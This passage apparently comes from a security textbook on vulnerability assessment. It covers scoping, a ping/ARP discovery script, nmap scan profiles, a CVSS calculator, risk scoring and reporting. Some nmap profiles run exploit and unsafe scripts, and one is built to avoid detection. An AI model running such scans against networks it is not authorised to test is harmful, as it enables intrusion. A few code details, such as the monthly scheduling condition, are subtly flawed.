establishes the foundation for a successful assessment:\n\n**Scope Definition**:\n- **Asset inventory**: Identify all systems, applications, and networks to be assessed\n- **IP ranges**: Specify exact IP addresses, CIDR ranges, or domain names\n- **Exclusions**: Document systems that should NOT be scanned (critical production, third-party hosted)\n- **Time windows**: Define acceptable scanning hours (maintenance windows, off-peak hours)\n- **Authentication requirements**: Identify systems requiring authenticated scanning\n\n**Rules of Engagement**:\n```yaml\n# rules_of_engagement.yaml\nassessment:\n  name: \"Q3 Infrastructure Security Assessment\"\n  client: \"Example Corp\"\n  duration: \"2024-09-01 to 2024-09-15\"\n  \nscope:\n  networks:\n    - \"10.10.10.0/24\"\n    - \"192.168.1.0/24\"\n  exceptions:\n    - \"10.10.10.100\"  # Production database\n    - \"192.168.1.50\"   # Critical ERP system\n  \ntesting_windows:\n  - \"Monday-Friday: 18:00-06:00\"\n  - \"Saturday-Sunday: 00:00-24:00\"\n  \nauth_credentials:\n  windows_domain: \"internal\\\\scanner_account\"\n  linux_sudo: \"scanuser\"\n  \nnotification_procedures:\n  pre_scan: \"72 hours notice to IT team\"\n  critical_findings: \"Immediate phone call\"\n  regular_updates: \"Daily status email\"\n```\n\n**Stakeholder Communication**:\n- IT operations team for network access and whitelisting\n- System owners for application credentials\n- Security team for incident response coordination\n- Legal department for compliance requirements\n- Management for resource allocation and prioritization\n\n#### 10.1.2 Phase 2: Discovery and Information Gathering\n\nBuilding on reconnaissance from Part III, this phase creates a comprehensive asset inventory:\n\n**Automated Discovery Script**:\n\n```python\n#!/usr/bin/env python3\n# asset_discovery.py\n\nimport subprocess\nimport json\nimport ipaddress\nimport socket\nfrom concurrent.futures import ThreadPoolExecutor\nimport datetime\n\nclass AssetDiscovery:\n    def __init__(self, networks, exclude_list=None):\n        self.networks = [ipaddress.ip_network(net) for net in networks]\n        self.exclude = exclude_list or []\n        self.assets = {\n            'hosts': [],\n            'live_hosts': [],\n            'open_ports': {},\n            'services': {},\n            'os_versions': {}\n        }\n        \n    def ping_sweep(self, network):\n        \"\"\"Discover live hosts using ping\"\"\"\n        live_hosts = []\n        print(f\"[*] Scanning network {network}\")\n        \n        for ip in network.hosts():\n            if str(ip) in self.exclude:\n                continue\n                \n            try:\n                result = subprocess.run(\n                    ['ping', '-c', '1', '-W', '1', str(ip)],\n                    stdout=subprocess.DEVNULL,\n                    stderr=subprocess.DEVNULL,\n                    timeout=2\n                )\n                if result.returncode == 0:\n                    live_hosts.append(str(ip))\n                    print(f\"  Found live host: {ip}\")\n            except:\n                pass\n                \n        return live_hosts\n    \n    def arp_scan_local(self, interface='eth0'):\n        \"\"\"ARP scan for local network discovery\"\"\"\n        try:\n            result = subprocess.run(\n                ['arp-scan', '--local', '--interface', interface],\n                capture_output=True,\n                text=True,\n                timeout=30\n            )\n            \n            hosts = []\n            for line in result.stdout.split('\\n'):\n                if '\\t' in line:\n                    parts = line.split('\\t')\n                    if len(parts) &gt;= 2:\n                        ip = parts[0]\n                        mac = parts[1]\n                        hosts.append({'ip': ip, 'mac': mac})\n                        \n            return hosts\n        except Exception as e:\n            print(f\"ARP scan error: {e}\")\n            return []\n    \n    def dns_lookup(self, ip):\n        \"\"\"Perform reverse DNS lookup\"\"\"\n        try:\n            hostname = socket.gethostbyaddr(ip)[0]\n            return hostname\n        except:\n            return None\n    \n    def discover_all(self):\n        \"\"\"Run complete discovery across all networks\"\"\"\n        all_live = []\n        \n        with ThreadPoolExecutor(max_workers=5) as executor:\n            futures = [executor.submit(self.ping_sweep, net) for net in self.networks]\n            for future in futures:\n                all_live.extend(future.result())\n        \n        # Deduplicate and sort\n        self.assets['live_hosts'] = sorted(set(all_live))\n        \n        # Perform DNS lookups\n        for ip in self.assets['live_hosts']:\n            hostname = self.dns_lookup(ip)\n            if hostname:\n                self.assets['hosts'].append({\n                    'ip': ip,\n                    'hostname': hostname\n                })\n            else:\n                self.assets['hosts'].append({\n                    'ip': ip,\n                    'hostname': None\n                })\n        \n        return self.assets\n    \n    def save_inventory(self, filename):\n        \"\"\"Save asset inventory to file\"\"\"\n        self.assets['timestamp'] = datetime.datetime.now().isoformat()\n        self.assets['total_hosts'] = len(self.assets['live_hosts'])\n        \n        with open(filename, 'w') as f:\n            json.dump(self.assets, f, indent=2)\n        \n        print(f\"\\n[+] Asset inventory saved to {filename}\")\n        print(f\"    Total live hosts: {self.assets['total_hosts']}\")\n\n# Example usage\nif __name__ == \"__main__\":\n    networks = ['192.168.1.0/24', '10.10.10.0/24']\n    exclude = ['192.168.1.100']\n    \n    discovery = AssetDiscovery(networks, exclude)\n    assets = discovery.discover_all()\n    discovery.save_inventory(f\"assets_{datetime.datetime.now().strftime('%Y%m%d')}.json\")\n```\n\n#### 10.1.3 Phase 3: Vulnerability Scanning\n\nThe scanning phase actively probes systems for known vulnerabilities:\n\n**Scan Strategy Development**:\n\n```python\n#!/usr/bin/env python3\n# scan_strategy.py\n\nimport json\nimport nmap\nfrom typing import Dict, List\n\nclass ScanStrategy:\n    def __init__(self, target_list):\n        self.targets = target_list\n        self.nm = nmap.PortScanner()\n        self.strategies = {\n            'quick': self.quick_scan,\n            'comprehensive': self.comprehensive_scan,\n            'stealth': self.stealth_scan,\n            'aggressive': self.aggressive_scan\n        }\n        \n    def quick_scan(self, target):\n        \"\"\"Quick scan for common vulnerabilities\"\"\"\n        print(f\"[*] Quick scan of {target}\")\n        \n        args = '-sV -T4 -F --script vuln --script-timeout 5m'\n        self.nm.scan(target, arguments=args)\n        \n        return self.nm[target]\n    \n    def comprehensive_scan(self, target):\n        \"\"\"Comprehensive vulnerability scan\"\"\"\n        print(f\"[*] Comprehensive scan of {target}\")\n        \n        args = '-sV -sC -O -T4 -p- --script \"(vuln or exploit or discovery)\" --script-timeout 10m'\n        self.nm.scan(target, arguments=args)\n        \n        return self.nm[target]\n    \n    def stealth_scan(self, target):\n        \"\"\"Stealthy scan to avoid detection\"\"\"\n        print(f\"[*] Stealth scan of {target}\")\n        \n        args = '-sS -T2 --max-retries 1 --min-rate 50 --script \"(safe or default)\"'\n        self.nm.scan(target, arguments=args)\n        \n        return self.nm[target]\n    \n    def aggressive_scan(self, target):\n        \"\"\"Aggressive scan for in-depth analysis\"\"\"\n        print(f\"[*] Aggressive scan of {target}\")\n        \n        args = '-sV -A -T4 -p- --script \"(vuln or exploit or discovery)\" --script-args=unsafe=1'\n        self.nm.scan(target, arguments=args)\n        \n        return self.nm[target]\n    \n    def select_strategy(self, target_type: str) -&gt; str:\n        \"\"\"Select appropriate scan strategy based on target type\"\"\"\n        \n        strategies = {\n            'web_server': 'comprehensive',\n            'database': 'stealth',\n            'workstation': 'quick',\n            'firewall': 'stealth',\n            'domain_controller': 'stealth',\n            'unknown': 'quick'\n        }\n        \n        return strategies.get(target_type, 'quick')\n    \n    def categorize_target(self, target_info: Dict) -&gt; str:\n        \"\"\"Categorize target based on open ports and services\"\"\"\n        \n        categories = []\n        \n        if 80 in target_info.get('tcp', {}) or 443 in target_info.get('tcp', {}):\n            categories.append('web_server')\n        if 3306 in target_info.get('tcp', {}) or 5432 in target_info.get('tcp', {}):\n            categories.append('database')\n        if 445 in target_info.get('tcp', {}) or 139 in target_info.get('tcp', {}):\n            categories.append('windows_host')\n        if 22 in target_info.get('tcp', {}):\n            categories.append('linux_host')\n            \n        return categories[0] if categories else 'unknown'\n    \n    def execute_strategy(self, target, strategy=None):\n        \"\"\"Execute selected scan strategy\"\"\"\n        \n        if not strategy:\n            # Need initial port scan to categorize\n            quick = self.quick_scan(target)\n            target_type = self.categorize_target(quick)\n            strategy = self.select_strategy(target_type)\n            \n        print(f\"[+] Using {strategy} strategy for {target}\")\n        return self.strategies[strategy](target)\n\n# Usage\nscanner = ScanStrategy(['192.168.1.100', '192.168.1.101'])\nfor target in scanner.targets:\n    results = scanner.execute_strategy(target)\n    # Process results\n```\n\n**Scan Scheduling and Prioritization**:\n\n```python\n#!/usr/bin/env python3\n# scan_scheduler.py\n\nimport schedule\nimport time\nimport logging\nfrom datetime import datetime\nimport json\n\nclass ScanScheduler:\n    def __init__(self, config_file):\n        with open(config_file, 'r') as f:\n            self.config = json.load(f)\n            \n        self.setup_logging()\n        \n    def setup_logging(self):\n        logging.basicConfig(\n            level=logging.INFO,\n            format='%(asctime)s - %(levelname)s - %(message)s',\n            handlers=[\n                logging.FileHandler('scan_scheduler.log'),\n                logging.StreamHandler()\n            ]\n        )\n        \n    def scan_high_priority(self):\n        \"\"\"Scan high-priority assets\"\"\"\n        logging.info(\"Starting high-priority asset scan\")\n        targets = self.config['priority_assets']['high']\n        self.run_scan(targets, 'comprehensive')\n        \n    def scan_medium_priority(self):\n        \"\"\"Scan medium-priority assets\"\"\"\n        logging.info(\"Starting medium-priority asset scan\")\n        targets = self.config['priority_assets']['medium']\n        self.run_scan(targets, 'quick')\n        \n    def scan_low_priority(self):\n        \"\"\"Scan low-priority assets\"\"\"\n        logging.info(\"Starting low-priority asset scan\")\n        targets = self.config['priority_assets']['low']\n        self.run_scan(targets, 'quick')\n        \n    def weekly_full_scan(self):\n        \"\"\"Run comprehensive weekly scan\"\"\"\n        logging.info(\"Starting weekly full scan\")\n        all_targets = (self.config['priority_assets']['high'] + \n                      self.config['priority_assets']['medium'] + \n                      self.config['priority_assets']['low'])\n        self.run_scan(all_targets, 'comprehensive')\n        \n    def run_scan(self, targets, strategy):\n        \"\"\"Execute scan with specified strategy\"\"\"\n        logging.info(f\"Scanning {len(targets)} targets with {strategy} strategy\")\n        \n        # Implementation would call actual scanning tools\n        for target in targets:\n            logging.info(f\"  Scanning {target}\")\n            # scan logic here\n            \n        logging.info(\"Scan complete\")\n        \n    def schedule_scans(self):\n        \"\"\"Configure scan schedule\"\"\"\n        \n        # High priority - daily at 2 AM\n        schedule.every().day.at(\"02:00\").do(self.scan_high_priority)\n        \n        # Medium priority - every 3 days at 3 AM\n        schedule.every(3).days.at(\"03:00\").do(self.scan_medium_priority)\n        \n        # Low priority - weekly on Sunday at 4 AM\n        schedule.every().sunday.at(\"04:00\").do(self.scan_low_priority)\n        \n        # Full scan - monthly on 1st at 1 AM\n        schedule.every().day.at(\"01:00\").do(self.weekly_full_scan) \\\n            if datetime.now().day == 1 else None\n            \n        logging.info(\"Scan schedule configured\")\n        \n    def run(self):\n        \"\"\"Main scheduler loop\"\"\"\n        self.schedule_scans()\n        \n        logging.info(\"Scan scheduler started\")\n        \n        while True:\n            schedule.run_pending()\n            time.sleep(60)  # Check every minute\n\n# Configuration file\nconfig_example = {\n    \"priority_assets\": {\n        \"high\": [\n            \"192.168.1.10\",  # Domain controller\n            \"192.168.1.20\",  # Critical web server\n            \"10.10.10.5\"     # Database server\n        ],\n        \"medium\": [\n            \"192.168.1.30-50\",  # User workstations\n            \"10.10.10.10-20\"    # Application servers\n        ],\n        \"low\": [\n            \"192.168.1.100-150\",  # Development machines\n            \"10.10.20.0/24\"       # Test network\n        ]\n    },\n    \"scan_windows\": {\n        \"high\": \"02:00-04:00\",\n        \"medium\": \"03:00-05:00\",\n        \"low\": \"04:00-06:00\"\n    }\n}\n\n# if __name__ == \"__main__\":\n#     scheduler = ScanScheduler('scan_config.json')\n#     scheduler.run()\n```\n\n### 10.2 CVSS Framework\n\nThe Common Vulnerability Scoring System (CVSS) provides a standardized method for rating vulnerability severity.\n\n#### 10.2.1 CVSS v3.1 Metrics\n\n**Base Metric Group**:\n\n```python\n#!/usr/bin/env python3\n# cvss_calculator.py\n\nclass CVSSCalculator:\n    def __init__(self):\n        self.base_metrics = {}\n        self.temporal_metrics = {}\n        self.environmental_metrics = {}\n        \n    def calculate_base_score(self, metrics):\n        \"\"\"\n        Calculate CVSS v3.1 Base Score\n        \n        Metrics dictionary should contain:\n        - AV (Attack Vector): N, A, L, P\n        - AC (Attack Complexity): L, H\n        - PR (Privileges Required): N, L, H\n        - UI (User Interaction): N, R\n        - S (Scope): U, C\n        - C (Confidentiality): H, L, N\n        - I (Integrity): H, L, N\n        - A (Availability): H, L, N\n        \"\"\"\n        \n        # Metric values (CVSS v3.1)\n        av_values = {'N': 0.85, 'A': 0.62, 'L': 0.55, 'P': 0.2}\n        ac_values = {'L': 0.77, 'H': 0.44}\n        pr_values = {\n            'N': 0.85,  # None\n            'L': {'U': 0.68, 'C': 0.62},  # Low (depending on scope)\n            'H': {'U': 0.5, 'C': 0.27}     # High (depending on scope)\n        }\n        ui_values = {'N': 0.85, 'R': 0.62}\n        impact_values = {'H': 0.56, 'L': 0.22, 'N': 0}\n        \n        # Extract metrics\n        av = metrics.get('AV', 'N')\n        ac = metrics.get('AC', 'L')\n        pr = metrics.get('PR', 'N')\n        ui = metrics.get('UI', 'N')\n        s = metrics.get('S', 'U')  # Scope\n        c = metrics.get('C', 'N')\n        i = metrics.get('I', 'N')\n        a = metrics.get('A', 'N')\n        \n        # Calculate Exploitability\n        exploitability = 8.22 * av_values[av] * ac_values[ac] * \\\n                        (pr_values[pr][s] if pr != 'N' else pr_values[pr]) * \\\n                        ui_values[ui]\n        \n        # Calculate Impact\n        impact = 1 - ((1 - impact_values[c]) * \n                      (1 - impact_values[i]) * \n                      (1 - impact_values[a]))\n        \n        # Scope adjustment\n        if s == 'U':  # Unchanged\n            impact_sub = 6.42 * impact\n        else:  # Changed\n            impact_sub = 7.52 * (impact - 0.029) - 3.25 * (impact - 0.02) ** 15\n        \n        # Base Score\n        if impact_sub &lt;= 0:\n            base_score = 0\n        else:\n            if s == 'U':\n                base_score = min(impact_sub + exploitability, 10)\n            else:\n                base_score = min(1.08 * (impact_sub + exploitability), 10)\n        \n        # Round to 1 decimal\n        base_score = round(base_score * 10) / 10\n        \n        # Severity rating\n        severity = self.get_severity_rating(base_score)\n        \n        return {\n            'base_score': base_score,\n            'severity': severity,\n            'exploitability': round(exploitability, 2),\n            'impact': round(impact_sub, 2),\n            'vector': self.build_vector(metrics)\n        }\n    \n    def get_severity_rating(self, score):\n        \"\"\"Convert CVSS score to severity rating\"\"\"\n        if score == 0:\n            return \"None\"\n        elif score &lt; 4:\n            return \"Low\"\n        elif score &lt; 7:\n            return \"Medium\"\n        elif score &lt; 9:\n            return \"High\"\n        else:\n            return \"Critical\"\n    \n    def build_vector(self, metrics):\n        \"\"\"Build CVSS vector string\"\"\"\n        vector = \"CVSS:3.1/\"\n        vector += f\"AV:{metrics.get('AV', 'N')}/\"\n        vector += f\"AC:{metrics.get('AC', 'L')}/\"\n        vector += f\"PR:{metrics.get('PR', 'N')}/\"\n        vector += f\"UI:{metrics.get('UI', 'N')}/\"\n        vector += f\"S:{metrics.get('S', 'U')}/\"\n        vector += f\"C:{metrics.get('C', 'N')}/\"\n        vector += f\"I:{metrics.get('I', 'N')}/\"\n        vector += f\"A:{metrics.get('A', 'N')}\"\n        return vector\n    \n    def calculate_temporal_score(self, base_score, temporal_metrics):\n        \"\"\"Adjust score based on temporal factors\"\"\"\n        \n        e_values = {'X': 1.0, 'U': 0.91, 'P': 0.94, 'F': 0.97, 'H': 1.0}\n        rl_values = {'X': 1.0, 'O': 0.95, 'T': 0.96, 'W': 0.97}\n        rc_values = {'X': 1.0, 'U': 0.92, 'R': 0.96, 'C': 1.0}\n        \n        e = temporal_metrics.get('E', 'X')\n        rl = temporal_metrics.get('RL', 'X')\n        rc = temporal_metrics.get('RC', 'X')\n        \n        temporal_score = base_score * e_values[e] * rl_values[rl] * rc_values[rc]\n        \n        return round(temporal_score * 10) / 10\n    \n    def calculate_environmental_score(self, base_score, modified_metrics):\n        \"\"\"Adjust score based on environmental factors\"\"\"\n        \n        # Similar calculation with modified base metrics\n        # and environmental metrics (CR, IR, AR, MAV, MAC, etc.)\n        \n        return base_score  # Placeholder\n\n# Example usage\ncalculator = CVSSCalculator()\n\n# Example: Remote code execution in web application\nmetrics = {\n    'AV': 'N',    # Network\n    'AC': 'L',    # Low complexity\n    'PR': 'N',    # No privileges required\n    'UI': 'N',    # No user interaction\n    'S': 'U',     # Unchanged scope\n    'C': 'H',     # High confidentiality impact\n    'I': 'H',     # High integrity impact\n    'A': 'H'      # High availability impact\n}\n\nresult = calculator.calculate_base_score(metrics)\nprint(f\"CVSS Score: {result['base_score']} - {result['severity']}\")\nprint(f\"Vector: {result['vector']}\")\nprint(f\"Exploitability: {result['exploitability']}\")\nprint(f\"Impact: {result['impact']}\")\n\n# Output:\n# CVSS Score: 9.8 - Critical\n# Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n# Exploitability: 3.9\n# Impact: 5.9\n```\n\n#### 10.2.2 CVSS Scoring in Practice\n\n**Automated CVSS Assignment**:\n\n```python\n#!/usr/bin/env python3\n# vulnerability_scoring.py\n\nimport csv\nimport json\nfrom typing import Dict, List\n\nclass VulnerabilityScorer:\n    def __init__(self):\n        self.cvss_calc = CVSSCalculator()\n        self.vulnerabilities = []\n        \n    def analyze_finding(self, finding: Dict) -&gt; Dict:\n        \"\"\"Analyze a vulnerability finding and assign CVSS score\"\"\"\n        \n        # Determine metrics based on vulnerability type\n        if 'sql_injection' in finding.get('type', ''):\n            metrics = {\n                'AV': 'N',    # Network\n                'AC': 'L',    # Low - SQL injection often easy\n                'PR': 'L',    # Low - often needs some privileges\n                'UI': 'N',    # None - automated\n                'S': 'C',     # Changed - can affect other resources\n                'C': 'H',     # High - can access database\n                'I': 'H',     # High - can modify database\n                'A': 'L'      # Low - availability usually not affected\n            }\n            \n        elif 'xss' in finding.get('type', ''):\n            if finding.get('context') == 'reflected':\n                metrics = {\n                    'AV': 'N', 'AC': 'L', 'PR': 'N', 'UI': 'R',\n                    'S': 'C', 'C': 'L', 'I': 'L', 'A': 'N'\n                }\n            elif finding.get('context') == 'stored':\n                metrics = {\n                    'AV': 'N', 'AC': 'L', 'PR': 'N', 'UI': 'R',\n                    'S': 'C', 'C': 'L', 'I': 'L', 'A': 'N'\n                }\n                \n        elif 'buffer_overflow' in finding.get('type', ''):\n            if finding.get('privileges') == 'remote':\n                metrics = {\n                    'AV': 'N', 'AC': 'H', 'PR': 'N', 'UI': 'N',\n                    'S': 'C', 'C': 'H', 'I': 'H', 'A': 'H'\n                }\n            else:\n                metrics = {\n                    'AV': 'L', 'AC': 'H', 'PR': 'L', 'UI': 'N',\n                    'S': 'C', 'C': 'H', 'I': 'H', 'A': 'H'\n                }\n                \n        else:\n            # Default to medium severity\n            metrics = {\n                'AV': 'N', 'AC': 'L', 'PR': 'L', 'UI': 'N',\n                'S': 'U', 'C': 'L', 'I': 'L', 'A': 'L'\n            }\n        \n        # Calculate score\n        score = self.cvss_calc.calculate_base_score(metrics)\n        \n        finding['cvss_score'] = score['base_score']\n        finding['cvss_severity'] = score['severity']\n        finding['cvss_vector'] = score['vector']\n        \n        return finding\n    \n    def batch_score(self, findings_file: str) -&gt; List[Dict]:\n        \"\"\"Score multiple findings from file\"\"\"\n        \n        with open(findings_file, 'r') as f:\n            findings = json.load(f)\n        \n        scored = []\n        for finding in findings:\n            scored_finding = self.analyze_finding(finding)\n            scored.append(scored_finding)\n            \n        # Sort by CVSS score\n        scored.sort(key=lambda x: x['cvss_score'], reverse=True)\n        \n        return scored\n    \n    def generate_score_report(self, scored_findings: List[Dict], output_file: str):\n        \"\"\"Generate detailed scoring report\"\"\"\n        \n        report = {\n            'summary': {\n                'total_findings': len(scored_findings),\n                'critical': len([f for f in scored_findings if f['cvss_score'] &gt;= 9]),\n                'high': len([f for f in scored_findings if 7 &lt;= f['cvss_score'] &lt; 9]),\n                'medium': len([f for f in scored_findings if 4 &lt;= f['cvss_score'] &lt; 7]),\n                'low': len([f for f in scored_findings if 0 &lt; f['cvss_score'] &lt; 4]),\n                'none': len([f for f in scored_findings if f['cvss_score'] == 0])\n            },\n            'findings': scored_findings\n        }\n        \n        with open(output_file, 'w') as f:\n            json.dump(report, f, indent=2)\n        \n        return report\n\n# Example usage\nscorer = VulnerabilityScorer()\nsample_finding = {\n    'name': 'SQL Injection in login form',\n    'type': 'sql_injection',\n    'location': 'https://example.com/login.php',\n    'parameter': 'username',\n    'context': 'authenticated'\n}\n\nscored = scorer.analyze_finding(sample_finding)\nprint(json.dumps(scored, indent=2))\n```\n\n### 10.3 Risk Scoring\n\nRisk scoring combines vulnerability severity with business context to prioritize remediation efforts.\n\n#### 10.3.1 Risk Calculation Framework\n\n**Risk = Likelihood \u00d7 Impact**\n\n```python\n#!/usr/bin/env python3\n# risk_scoring.py\n\nimport json\nfrom enum import Enum\n\nclass Likelihood(Enum):\n    VERY_LOW = 1\n    LOW = 2\n    MEDIUM = 3\n    HIGH = 4\n    VERY_HIGH = 5\n\nclass Impact(Enum):\n    VERY_LOW = 1\n    LOW = 2\n    MEDIUM = 3\n    HIGH = 4\n    VERY_HIGH = 5\n\nclass RiskCalculator:\n    def __init__(self):\n        self.risk_matrix = self.build_risk_matrix()\n        \n    def build_risk_matrix(self):\n        \"\"\"Build 5x5 risk matrix\"\"\"\n        matrix = {}\n        for l in Likelihood:\n            for i in Impact:\n                risk_score = l.value * i.value\n                \n                if risk_score &lt;= 5:\n                    level = \"Low\"\n                elif risk_score &lt;= 12:\n                    level = \"Medium\"\n                elif risk_score &lt;= 19:\n                    level = \"High\"\n                else:\n                    level = \"Critical\"\n                    \n                matrix[(l.name, i.name)] = {\n                    'score': risk_score,\n                    'level': level\n                }\n        return matrix\n    \n    def calculate_likelihood(self, vulnerability_data):\n        \"\"\"Calculate likelihood based on multiple factors\"\"\"\n        score = 0\n        factors = []\n        \n        # Exploit availability\n        if vulnerability_data.get('exploit_available'):\n            score += 2\n            factors.append(\"Exploit available (+2)\")\n            \n        if vulnerability_data.get('exploit_public'):\n            score += 1\n            factors.append(\"Public exploit (+1)\")\n            \n        # Attack complexity\n        complexity = vulnerability_data.get('attack_complexity', 'medium')\n        if complexity == 'low':\n            score += 2\n            factors.append(\"Low attack complexity (+2)\")\n        elif complexity == 'high':\n            score -= 1\n            factors.append(\"High attack complexity (-1)\")\n            \n        # Required privileges\n        privileges = vulnerability_data.get('required_privileges', 'none')\n        if privileges == 'none':\n            score += 2\n            factors.append(\"No privileges required (+2)\")\n        elif privileges == 'low':\n            score += 1\n            factors.append(\"Low privileges required (+1)\")\n            \n        # Attack vector\n        vector = vulnerability_data.get('attack_vector', 'network')\n        if vector == 'network':\n            score += 2\n            factors.append(\"Network attack vector (+2)\")\n        elif vector == 'adjacent':\n            score += 1\n            factors.append(\"Adjacent network (+1)\")\n            \n        # Convert score to likelihood category\n        if score &gt;= 8:\n            likelihood = Likelihood.VERY_HIGH\n        elif score &gt;= 6:\n            likelihood = Likelihood.HIGH\n        elif score &gt;= 4:\n            likelihood = Likelihood.MEDIUM\n        elif score &gt;= 2:\n            likelihood = Likelihood.LOW\n        else:\n            likelihood = Likelihood.VERY_LOW\n            \n        return likelihood, factors\n    \n    def calculate_impact(self, asset_data, vulnerability_data):\n        \"\"\"Calculate business impact based on asset criticality and vulnerability impact\"\"\"\n        score = 0\n        factors = []\n        \n        # Asset criticality\n        criticality = asset_data.get('criticality', 'medium')\n        if criticality == 'high':\n            score += 3\n            factors.append(\"High-value asset (+3)\")\n        elif criticality == 'medium':\n            score += 2\n            factors.append(\"Medium-value asset (+2)\")\n        elif criticality == 'low':\n            score += 1\n            factors.append(\"Low-value asset (+1)\")\n            \n        # Data sensitivity\n        data_type = asset_data.get('data_type', 'public')\n        if data_type == 'pii':\n            score += 3\n            factors.append(\"PII data (+3)\")\n        elif data_type == 'internal':\n            score += 2\n            factors.append(\"Internal data (+2)\")\n        elif data_type == 'public':\n            score += 1\n            factors.append(\"Public data (+1)\")\n            \n        # Vulnerability impact on CIA\n        cia_impact = vulnerability_data.get('cia_impact', {})\n        \n        if cia_impact.get('confidentiality') == 'high':\n            score += 2\n            factors.append(\"High confidentiality impact (+2)\")\n        if cia_impact.get('integrity') == 'high':\n            score += 2\n            factors.append(\"High integrity impact (+2)\")\n        if cia_impact.get('availability') == 'high':\n            score += 2\n            factors.append(\"High availability impact (+2)\")\n            \n        # Regulatory compliance\n        if asset_data.get('regulated', False):\n            score += 2\n            factors.append(\"Regulated asset (+2)\")\n            \n        # Convert score to impact category\n        if score &gt;= 12:\n            impact = Impact.VERY_HIGH\n        elif score &gt;= 9:\n            impact = Impact.HIGH\n        elif score &gt;= 6:\n            impact = Impact.MEDIUM\n        elif score &gt;= 3:\n            impact = Impact.LOW\n        else:\n            impact = Impact.VERY_LOW\n            \n        return impact, factors\n    \n    def calculate_risk(self, vulnerability, asset):\n        \"\"\"Calculate overall risk score\"\"\"\n        \n        likelihood, l_factors = self.calculate_likelihood(vulnerability)\n        impact, i_factors = self.calculate_impact(asset, vulnerability)\n        \n        risk_info = self.risk_matrix[(likelihood.name, impact.name)]\n        \n        return {\n            'risk_score': risk_info['score'],\n            'risk_level': risk_info['level'],\n            'likelihood': {\n                'level': likelihood.name,\n                'score': likelihood.value,\n                'factors': l_factors\n            },\n            'impact': {\n                'level': impact.name,\n                'score': impact.value,\n                'factors': i_factors\n            },\n            'recommendation': self.get_recommendation(risk_info['level'])\n        }\n    \n    def get_recommendation(self, risk_level):\n        \"\"\"Get remediation recommendation based on risk level\"\"\"\n        \n        recommendations = {\n            'Critical': \"Immediate remediation required. Address within 24-48 hours.\",\n            'High': \"Remediate within 1 week. Prioritize in next sprint.\",\n            'Medium': \"Remediate within 30 days. Add to project backlog.\",\n            'Low': \"Remediate as time permits. Monitor for changes.\"\n        }\n        \n        return recommendations.get(risk_level, \"Review and assess\")\n\n# Example usage\ncalculator = RiskCalculator()\n\n# Example vulnerability\nvuln = {\n    'exploit_available': True,\n    'exploit_public': True,\n    'attack_complexity': 'low',\n    'required_privileges': 'none',\n    'attack_vector': 'network',\n    'cia_impact': {\n        'confidentiality': 'high',\n        'integrity': 'high',\n        'availability': 'low'\n    }\n}\n\n# Example asset\nasset = {\n    'criticality': 'high',\n    'data_type': 'pii',\n    'regulated': True\n}\n\nrisk = calculator.calculate_risk(vuln, asset)\nprint(json.dumps(risk, indent=2))\n```\n\n#### 10.3.2 Asset Prioritization\n\n```python\n#!/usr/bin/env python3\n# asset_prioritization.py\n\nclass AssetPrioritizer:\n    def __init__(self):\n        self.asset_register = {}\n        \n    def calculate_asset_value(self, asset):\n        \"\"\"Calculate asset business value\"\"\"\n        \n        value = 0\n        factors = []\n        \n        # Business function\n        function_weights = {\n            'domain_controller': 10,\n            'database_server': 9,\n            'application_server': 8,\n            'web_server': 7,\n            'file_server': 6,\n            'workstation': 4,\n            'development': 3,\n            'test': 2\n        }\n        \n        function = asset.get('function', 'unknown')\n        value += function_weights.get(function, 1)\n        factors.append(f\"Function: {function} (+{function_weights.get(function, 1)})\")\n        \n        # Data classification\n        data_weights = {\n            'pii': 10,\n            'phi': 10,\n            'financial': 9,\n            'intellectual_property': 8,\n            'internal': 5,\n            'public': 1\n        }\n        \n        data_type = asset.get('data_type', 'public')\n        value += data_weights.get(data_type, 1)\n        factors.append(f\"Data: {data_type} (+{data_weights.get(data_type, 1)})\")\n        \n        # Users/dependencies\n        users = asset.get('user_count', 0)\n        if users &gt; 1000:\n            value += 5\n            factors.append(f\"Users: {users}+ (+5)\")\n        elif users &gt; 100:\n            value += 3\n            factors.append(f\"Users: {users}+ (+3)\")\n        elif users &gt; 10:\n            value += 1\n            factors.append(f\"Users: {users}+ (+1)\")\n            \n        # External exposure\n        if asset.get('internet_facing', False):\n            value += 3\n            factors.append(\"Internet facing (+3)\")\n            \n        # Regulatory compliance\n        if asset.get('regulated', False):\n            value += 5\n            factors.append(\"Regulated (+5)\")\n            \n        return value, factors\n    \n    def prioritize_assets(self, assets):\n        \"\"\"Prioritize assets by business value\"\"\"\n        \n        prioritized = []\n        for asset in assets:\n            value, factors = self.calculate_asset_value(asset)\n            \n            # Determine priority tier\n            if value &gt;= 25:\n                priority = \"Critical\"\n                remediation_time = \"24 hours\"\n            elif value &gt;= 20:\n                priority = \"High\"\n                remediation_time = \"7 days\"\n            elif value &gt;= 15:\n                priority = \"Medium\"\n                remediation_time = \"30 days\"\n            elif value &gt;= 10:\n                priority = \"Low\"\n                remediation_time = \"90 days\"\n            else:\n                priority = \"Informational\"\n                remediation_time = \"As resources permit\"\n                \n            prioritized.append({\n                'asset': asset,\n                'value_score': value,\n                'priority': priority,\n                'remediation_time': remediation_time,\n                'factors': factors\n            })\n            \n        # Sort by value score descending\n        prioritized.sort(key=lambda x: x['value_score'], reverse=True)\n        \n        return prioritized\n\n# Example usage\nassets = [\n    {\n        'name': 'DC01',\n        'function': 'domain_controller',\n        'data_type': 'internal',\n        'user_count': 1500,\n        'internet_facing': False,\n        'regulated': True\n    },\n    {\n        'name': 'WEBSRV01',\n        'function': 'web_server',\n        'data_type': 'pii',\n        'user_count': 50000,\n        'internet_facing': True,\n        'regulated': True\n    }\n]\n\nprioritizer = AssetPrioritizer()\nprioritized = prioritizer.prioritize_assets(assets)\nprint(json.dumps(prioritized, indent=2))\n```\n\n### 10.4 Reporting Standards\n\nEffective reporting communicates findings clearly to technical and non-technical audiences.\n\n#### 10.4.1 Report Structure\n\n```python\n#!/usr/bin/env python3\n# report_generator.py\n\nimport json\nimport datetime\nfrom typing import List, Dict\nimport markdown\n\nclass VulnerabilityReport:\n    def __init__(self, assessment_name, client_name):\n        self.assessment_name = assessment_name\n        self.client_name = client_name\n        self.date = datetime.datetime.now()\n        self.executive_summary = \"\"\n        self.scope = {}\n        self.methodology = []\n        self.findings = []\n        self.recommendations = []\n        self.appendices = {}\n        \n    def add_executive_summary(self, summary):\n        \"\"\"Add executive summary section\"\"\"\n        self.executive_summary = summary\n        \n    def add_scope(self, scope_info):\n        \"\"\"Add assessment scope\"\"\"\n        self.scope = scope_info\n        \n    def add_finding(self, finding):\n        \"\"\"Add vulnerability 